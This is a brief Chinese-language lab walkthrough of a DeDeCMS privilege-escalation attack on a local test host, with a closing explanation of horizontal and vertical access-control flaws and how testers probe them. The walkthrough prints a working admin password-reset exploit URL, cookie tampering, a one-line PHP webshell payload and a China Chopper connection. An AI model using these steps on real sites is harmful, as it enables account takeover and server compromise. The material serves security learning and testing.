DeDeCMS 越权
0x00 搭建dedecms
设置数据库密码
开启会员功能
0x01 注册会员
并在后台设置为通过审核
0x03 越权操作
- 创建000001用户
2、000001用户登陆,BP抓包
- 修改数据包
- 登陆至admin
- F12修改cookie值
- 修改admin会员密码
192.168.8.135/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=1
BP抓包并发送到repeater
查看会包中location值
http://192.168.8.135/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=9ZxPhWBg
去掉amp;并访问
修改密码为123456
- 关闭代理并访问http://192.168.8.135/dedecms/member/edit_baseinfo.php
- 填写资料完成后,再次访问修改管理员admin密码的URL并修改密码为asshole
- 登陆后台,插入一句话木马
Url查看广告
打开hackbar,以post方式提交cmd=echo "-->";phpinfo();
- 菜刀连接
连接成功
后面再上传反弹shell等
越权漏洞总结:
越权漏洞属于逻辑漏洞,是由于权限检验的逻辑不够严谨导致
1、水平越权:
攻击者请求操作(增删改查)某条数据时,web应用程序没有判断该条数据的所属人,或者在判断数据所属人时直接从用户提交的表单参数中获取,例如用户id等,导致攻击者可以自行修改参数,操作获取不属于自己的数据。
测试方法:在发送请求时观察请求参数,尝试修改用户id或者其他参数验证是否能查看不属于自己的数据,进行增删改查,若成功则存在平行越权的漏洞
- 垂直越权
和平行越权相似,但是纵向越权是可以请求更高权限的操作,比如普通用户可以进行管理员的操作权限。
测试方法:查看请求中是否有身份标识,比如userid,角色id之类的,有的话尝试修改,重新请求更高权限的操作。不过之前遇到一些很奇葩的系统,普通用户进去可以新建管理员的用户,然后直接用管理员用户账号登录。
思路:
登陆超级管理员,进行仅管理员有的权限的操作,然后抓取该操作的数据包,退出超级管理员。
登陆普通管理员,用普通管理员的身份,该操作的数据包进行一次重放